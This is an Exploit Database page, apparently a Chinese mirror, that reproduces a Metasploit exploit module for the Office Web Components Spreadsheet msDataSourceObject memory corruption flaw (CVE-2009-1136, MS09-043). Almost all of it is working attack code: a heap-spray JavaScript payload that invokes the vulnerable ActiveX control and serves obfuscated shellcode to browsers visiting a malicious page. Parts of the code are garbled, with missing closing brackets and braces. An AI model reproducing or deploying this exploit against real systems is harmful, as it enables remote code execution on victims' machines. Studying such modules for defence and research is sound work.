Microsoft Office Web Components (OWC) Spreadsheet – msDataSourceObject Memory Corruption (MS09-043) (Metasploit)

Exploit Database
110 阅读

作者： Metasploit

日期： 2010-07-20
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16537/

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# $Id: ms09_043_owc_msdso.rb 9893 2010-07-20 23:28:47Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption',

'Description'=> %q{

This module exploits a memory corruption vulnerability within versions 10 and 11 of

the Office Web Component Spreadsheet ActiveX control. This module was based on

an exploit found in the wild.

'License'=> MSF_LICENSE,

'Author' => [ 'unknown', 'hdm', 'Ahmed Obied', 'DSR! <xchwarze[at]gmail.com>' ],

'Version'=> '$Revision: 9893 $',

'References' =>

[

[ 'CVE', '2009-1136' ],

[ 'OSVDB', '55806' ],

[ 'MSB', 'MS09-043' ],

[ 'URL', 'http://ahmed.obied.net/software/code/exploits/ie_owc.py' ],

[ 'URL', 'http://www.exploit-db.com/exploits/9163/' ],

# broken: [ 'URL', 'http://xeye.us/blog/2009/07/one-0day/' ],

[ 'URL', 'http://www.microsoft.com/technet/security/advisory/973472.mspx' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> '',

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] # other exploits use 0x0b0c0b0c

'DisclosureDate' => 'Jul 13 2009',

'DefaultTarget'=> 0))

@javascript_encode_key = rand_text_alpha(rand(10) + 10)

end

def on_request_uri(cli, request)

# Send a redirect with the javascript encoding key

#if (!request.uri.match(/\?\w+/))

# send_local_redirect(cli, "?#{@javascript_encode_key}")

# return

#end

return if ((p = regenerate_payload(cli)) == nil)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

shellcode = Rex::Text.to_unescape(p.encoded)

retaddr = Rex::Text.to_unescape([target.ret].pack('V'))

js = %Q|

var xshellcode = unescape("#{shellcode}");

var xarray = new Array();

var xls = 0x81000-(xshellcode.length*2);

var xbigblock = unescape("#{retaddr}");

while( xbigblock.length < xls / 2) { xbigblock += xbigblock; }

var xlh = xbigblock.substring(0, xls / 2);

delete xbigblock;

for(xi=0; xi<0x99*2; xi++) {

xarray[xi] = xlh + xlh + xshellcode;

}

CollectGarbage();

var xobj;

try {

xobj = new ActiveXObject("OWC10.Spreadsheet");

} catch(err) {

try {

xobj = new ActiveXObject("OWC11.Spreadsheet");

} catch(err) {

}

xe = new Array();

xe.push(1);

xe.push(2);

xe.push(0);

xe.push(window);

for(xi=0; xi < xe.length; xi++){

for(xj=0; xj<10; xj++){

try { xobj.Evaluate(xe[xi]); } catch(e) { }

}

window.status = xe[3] + '';

for(xj=0; xj<10; xj++){

try{ xobj.msDataSourceObject(xe[3]); } catch(e) { }

}

# Obfuscate it up a bit

js = obfuscate_js(js,

'Symbols' =>{

'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj err}

}

).to_s

# Encode the javascript payload with the URI key

# js = encrypt_js(js, @javascript_encode_key)

# Fire off the page to the client

send_response(cli, "<html><script language='javascript'>#{js}</script></html>")

# Handle the payload

handler(cli)

end